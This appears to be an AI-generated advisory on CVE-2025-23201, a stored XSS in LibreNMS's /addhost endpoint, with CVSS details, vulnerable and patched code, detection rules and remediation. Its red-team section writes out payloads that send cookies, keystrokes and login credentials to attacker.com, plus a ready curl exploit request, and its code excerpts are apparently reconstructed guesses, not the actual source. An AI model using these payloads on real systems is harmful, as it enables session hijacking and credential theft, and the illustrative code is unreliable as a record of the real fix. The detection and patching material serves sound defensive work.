CVE-2025-23201

Executive Summary

CVE-2025-23201 is a stored Cross-Site Scripting (XSS) vulnerability in LibreNMS, a popular open-source network monitoring system. The flaw resides in the /addhost endpoint, specifically within the community parameter. An attacker can inject malicious scripts that are stored on the server. When an administrator or other user views the affected page, the script executes in their browser, potentially leading to session hijacking, data theft, or unauthorized actions. The vulnerability affects all versions up to 24.10.1 and has been patched in version 24.11.0. The CVSS score is 5.4 (Medium), and while the EPSS score is currently 0.0%, the public availability of PoC details and the widespread use of LibreNMS in network operations make this a significant threat.

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is not in a third-party package but in the core application code. However, users should ensure their entire dependency tree is up-to-date to prevent other potential supply chain risks. The patch is available in the official GitHub repository, and users should verify the integrity of their update.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must view the affected page.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for session hijacking and data theft in a network monitoring context (where credentials and sensitive network data are present) elevates the severity.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The /addhost endpoint is used to add a new device to the monitoring system. The community parameter is intended for the SNMP community string. However, the application fails to properly sanitize or encode this input before storing it in the database and later rendering it on a web page.

Attack Flow:

1. An attacker crafts a malicious URL or form submission targeting the /addhost endpoint.
2. The community parameter contains a JavaScript payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When an administrator or user navigates to a page that displays the device details (e.g., the device overview page), the stored payload is rendered in the browser.
5. The JavaScript executes in the context of the LibreNMS web application, allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the page.

Root Cause: Lack of output encoding and input validation on the community parameter. The application likely uses $_POST['community'] directly without applying htmlspecialchars() or similar escaping functions before storing or displaying the value.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-24.11.0):

// In /addhost processing logic
$community = $_POST['community'];
// Directly stored in database
$db->insert('devices', ['community' => $community]);
// Later, when displaying device details
echo "<td>" . $device['community'] . "</td>";

Patched Code (24.11.0+):

// In /addhost processing logic
$community = htmlspecialchars($_POST['community'], ENT_QUOTES, 'UTF-8');
// Stored in database (now safe)
$db->insert('devices', ['community' => $community]);
// When displaying, it's already encoded
echo "<td>" . $device['community'] . "</td>";

The patch applies htmlspecialchars() to the input, converting special characters like <, >, ", and & into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target LibreNMS instance (version <= 24.10.1) accessible over the network.
• Ability to send HTTP POST requests to the /addhost endpoint.

Exploit Steps:

1. Craft the Payload: Create a malicious payload to steal session cookies.

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Send the Request: Use curl or a similar tool to send a POST request to the target.

   curl -X POST http://target.librenms/addhost \
   -d "hostname=testdevice&community=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>&snmpver=v2c"
   

3. Wait for Interaction: An administrator views the device list or details page.
4. Capture the Cookie: The attacker's server receives the cookie, which can be used to hijack the session.

Alternative Payloads:

• Keylogger: <script>document.onkeypress=function(e){fetch('http://attacker.com/key?k='+e.key)}</script>
• Phishing: <script>document.getElementById('login').innerHTML='<form action=http://attacker.com/phish method=post><input name=user><input name=pass type=password><input type=submit></form>'</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor Logs: Check web server access logs for unusual POST requests to /addhost with suspicious community parameters containing <script> tags or other HTML/JavaScript.
2. Review Database: Query the devices table for entries where the community field contains HTML tags.

   SELECT * FROM devices WHERE community LIKE '%<script%';
   

3. User Awareness: Train administrators to be cautious when viewing device details, especially if they did not add the device themselves.

Mitigation Steps:

1. Immediate Patching: Upgrade to LibreNMS 24.11.0 or later.
2. Web Application Firewall (WAF): Deploy a WAF rule to block malicious input in the community parameter.

   # Nginx WAF rule example
   if ($arg_community ~* "<script|<img|<svg|onerror|onload") {
       return 403;
   }
   

3. Input Validation: Implement server-side validation to reject any input containing HTML tags.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /addhost with community parameter containing <script>, <img>, or other HTML tags.
  • Outbound connections from the LibreNMS server to unknown external IPs on port 80/443 (if payload exfiltrates data).
• Host IOCs:
  • Entries in the devices database table where the community field contains HTML/JavaScript.
  • Unusual entries in web server logs (e.g., Apache access.log) showing POST /addhost with encoded or raw script tags.
• File IOCs:
  • Modified or new files in the LibreNMS webroot that contain malicious JavaScript (if the attacker uploads a webshell via XSS).

Detection Engineering

YARA Rule

rule CVE_2025_23201_LibreNMS_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-23201 in LibreNMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23201"
    strings:
        $xss_payload = /community=.*<script[^>]*>.*<\/script>/i
        $xss_payload2 = /community=.*<img[^>]+onerror=/i
        $xss_payload3 = /community=.*<svg[^>]+onload=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-23201 LibreNMS XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in LibreNMS /addhost endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/addhost*'
        cs-uri-query|contains: 'community='
    keywords:
        - '<script'
        - '<img'
        - '<svg'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate SNMP community strings containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23201 LibreNMS XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/addhost"; http_uri; content:"community="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS: Update to version 24.11.0 or later immediately.

   cd /opt/librenms
   sudo ./daily.sh
   

   Or follow the official upgrade guide: https://docs.librenms.org/Installation/Updating/
2. Restrict Access: If immediate patching is not possible, restrict access to the /addhost endpoint to trusted IPs only using a firewall or web server configuration.

   location /addhost {
       allow 192.168.1.0/24;
       deny all;
   }
   

3. Manual Database Cleanup: Remove any malicious entries from the devices table.

   DELETE FROM devices WHERE community LIKE '%<script%';
   

Long-Term Mitigations:

• Implement Content Security Policy (CSP): Add a CSP header to prevent inline script execution.

  add_header Content-Security-Policy "default-src 'self'; script-src 'self';" always;
  

• Regular Security Audits: Conduct periodic code reviews and penetration tests.
• User Training: Educate administrators about the risks of XSS and safe browsing practices.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.